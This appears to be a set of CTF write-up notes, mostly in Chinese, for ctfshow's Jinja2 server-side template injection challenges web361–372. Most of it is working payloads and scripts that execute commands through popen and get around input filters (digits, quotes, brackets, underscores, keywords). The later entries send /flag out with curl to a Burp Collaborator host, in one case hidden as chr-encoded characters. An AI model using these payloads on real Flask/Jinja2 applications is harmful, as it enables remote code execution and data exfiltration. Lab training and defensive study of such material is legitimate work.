ctfshow_ssti
ctfshow_ssti
web361
查找_wrap_close
import requests
url = "http://7632adcf-d2d8-4bf5-a76e-333581c7c0bf.challenge.ctf.show/"
for i in range(500):
data = {"name":'{{"".__class__.__base__.__subclasses__().__getitem__('+str(i)+')}}'}
try:
response = requests.get(url,params=data)
# print(response.text)
if response.status_code == 200:
if '_wrap_close' in response.text:
print(i,"--->",response.text)
break
except:
pass
在132
payload
{{''.__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__('popen')("cat /flag").read()}}
其他题解:
web361-ssti
根据题目提示,"名字是考点",故传参为"name" 经测试,存在ssti注入
接下来使用tplmap 扫描指定url
python2 tplmap.py -u https://9586be63-803b-4f36-b233-18bba8468973.challenge.ctf.show/?name=1
可以看到是Jinja2模板,同时最下面还提示我们可以使用--os-shell拿shell
--engine指定模板,使用 --os-shell拿到shell
python2 tplmap.py -u https://9586be63-803b-4f36-b233-18bba8468973.challenge.ctf.show/?name=1 --engine=Jinja2 --os-shell
ls/ cat /flag
web362
题目禁用数字2、3
方法在ssti.md的数字过滤
其他题解:
web362-过滤部分数字
过滤了2、3等数字,os._wrap_close这个类没法使用,思考利用subprocess.Popen()
payload
?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}
{{"".__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']('cat+/flag').read()}}
?name={{''.class.base.subclasses()[140-8].init.globals['popen']'cat /flag').read()}}
payload:?name={{"".class.base.subclasses()[94]"get_data"}} 使用_frozen_importlib_external.FileLoader进行读取flag内容
经过测试过滤了数字使用{% set num='aaaaaaaaaa'|length*'aaaaaaaaaaaaaa'|length-'aaaaaaaa'|length %} 让num=132,从而实现绕过 payload: name={% set num='aaaaaaaaaa'|length*'aaaaaaaaaaaaaa'|length-'aaaaaaaa'|length %}{{().class.base.subclasses()[num].init.globals['popen']('cat /flag').read()}}
web362 {{%27%27.class.base.subclasses()[104].init.globals[%27__builtins__%27]%27eval%27}}
使用 lipsum 方法。这个是 flask 的内置方法,自带 os 模块
?name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}
灵感来源:normalSSTI
web363
过滤单双引号
方法在ssti.md的过滤单双引号
其他题解:
我们利用文件读取,发现最后结果给一个苦脸,肯定是过滤了什么,于是我一个尝试,发现只要有引号,就会被拦截,于是我们利用request绕过,利用_wrap_close模块,这个模块中可以使用request
找到对应位置,使用模块,发现在132位置有这个模块,于是我们可以利用 ().class.base.subclasses()[132]
payload:
http://8e6ee76e-46da-4345-8882-395c449b47c1.challenge.ctf.show/?
name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
我们构造了a和b两个参数,之后利用popen,popen的功能与system类似,执行系统指令
过滤单双引号,考虑使用get传参绕过
payload
?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag
/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.param).read()}}&popen=popen¶m=cat+/flag
web364
过滤args
使用cookie绕过
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
cookie:
k1=popen; k2=ls
其他题解
过滤了args换request.values.a
payload
?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.param).read()}}
cookies
Cookie: p=popen; param=cat /flag
web365
过滤方括号
.getitem()绕过
{{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag
其他题解
getitem()是python的一个魔法方法 对字典使用时,传入字符串返回字典相应键所对应的值 当对列表使用时,传入整数返回列表对应索引的值。 可以使用getitem进行绕过 payload: name={{().class.base.subclasses().getitem(132).init.globals.getitem(request.cookies.x1)(request.cookies.x2).read()}} Cookie: x1=popen; x2=cat /flag
过滤了方括号,可以用__getitem__绕过
payload
?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag
?name={{().class.base.subclasses().getitem(132).init.globals.getitem(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag
web366
过滤下划线
方法在ssti.md的过滤下划线
web367
web367-过滤os
过滤了os,可以通过get来获取
payload
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
web368
过滤了request
过滤了request,但是是再{{}}中过滤了request,没有在{% %}过滤request
payload
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
369web
-{%%}中过滤了request
方法一 构造字符串
构造脚本
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])
方法二 set构造字符
http://de1d82f0-b40d-430f-9cb5-ce2435f44306.chall.ctf.show:8080/?name=
{% set a=(()|select|string|list).pop(24) %} // a = _
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %} // globals=__globals__
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
web370
过滤数字
web370-过滤数字
方法一 使用count或者length获取数字
{% set one=(dict(a=a)|join|length)%}
=> one = 1
{% set two=(dict(aa=a))|join|length)%}
=> one = 2
方法二 使用全角数字代替半角数字
替换脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)
payload
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
1- ?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %} {% set init=(a,a,dict(init=1)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
2
{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set x=(()|select|string|list).pop(num)%} {%set glob = (x,x,dict(globals=a)|join,x,x)|join %} {%set builtins=xx(dict(builtins=a)|join)xx%} {%set c = dict(chr=a)|join%} {%set o = dict(o=a,s=a)|join%} {%set getitem = xx(dict(getitem=a)|join)xx%} {%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%} {%set file = chr(numm)~dict(flag=a)|join%} {%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}
web371
过滤print
使用curl进行外带,我这里的代理服务器用的是bp的collaborator client
curl -X POST -F xx=@/flag http://l5rvcu3v2r2mab2ufjfovmdtqkwck1.burpcollaborator.net
chr字符脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
string = input("你要输入的字符串:")
result = ''
def str2chr(s):
global result
for i in s:
result += "chr("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])
payload
/?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(108)%2bchr(53)%2bchr(114)%2bchr(118)%2bchr(99)%2bchr(117)%2bchr(51)%2bchr(118)%2bchr(50)%2bchr(114)%2bchr(50)%2bchr(109)%2bchr(97)%2bchr(98)%2bchr(50)%2bchr(117)%2bchr(102)%2bchr(106)%2bchr(102)%2bchr(111)%2bchr(118)%2bchr(109)%2bchr(100)%2bchr(116)%2bchr(113)%2bchr(107)%2bchr(119)%2bchr(99)%2bchr(107)%2bchr(49)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}
半角数字转全角
def num2cn(num): res='' for i in num: res+=chr(ord(i)+65248) return res
字符串转ascill码
def str2ascill(s): return [num2cn(str(ord(c))) for c in s]
arr=(str2ascill("curl http://ip:port?p=`cat /flag`"))
res='' for i in arr: res+='chr({i})~'.format(i=i)
print(res[:len(res)-1])
web372
过滤count
前一个方法依然适用
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set ohs=(dict(o=a,s=a)|join)%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(108)%2bchr(53)%2bchr(114)%2bchr(118)%2bchr(99)%2bchr(117)%2bchr(51)%2bchr(118)%2bchr(50)%2bchr(114)%2bchr(50)%2bchr(109)%2bchr(97)%2bchr(98)%2bchr(50)%2bchr(117)%2bchr(102)%2bchr(106)%2bchr(102)%2bchr(111)%2bchr(118)%2bchr(109)%2bchr(100)%2bchr(116)%2bchr(113)%2bchr(107)%2bchr(119)%2bchr(99)%2bchr(107)%2bchr(49)%2bchr(46)%2bchr(98)%2bchr(117)%2bchr(114)%2bchr(112)%2bchr(99)%2bchr(111)%2bchr(108)%2bchr(108)%2bchr(97)%2bchr(98)%2bchr(111)%2bchr(114)%2bchr(97)%2bchr(116)%2bchr(111)%2bchr(114)%2bchr(46)%2bchr(110)%2bchr(101)%2bchr(116)%}
{% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%}
abc
{% endif %}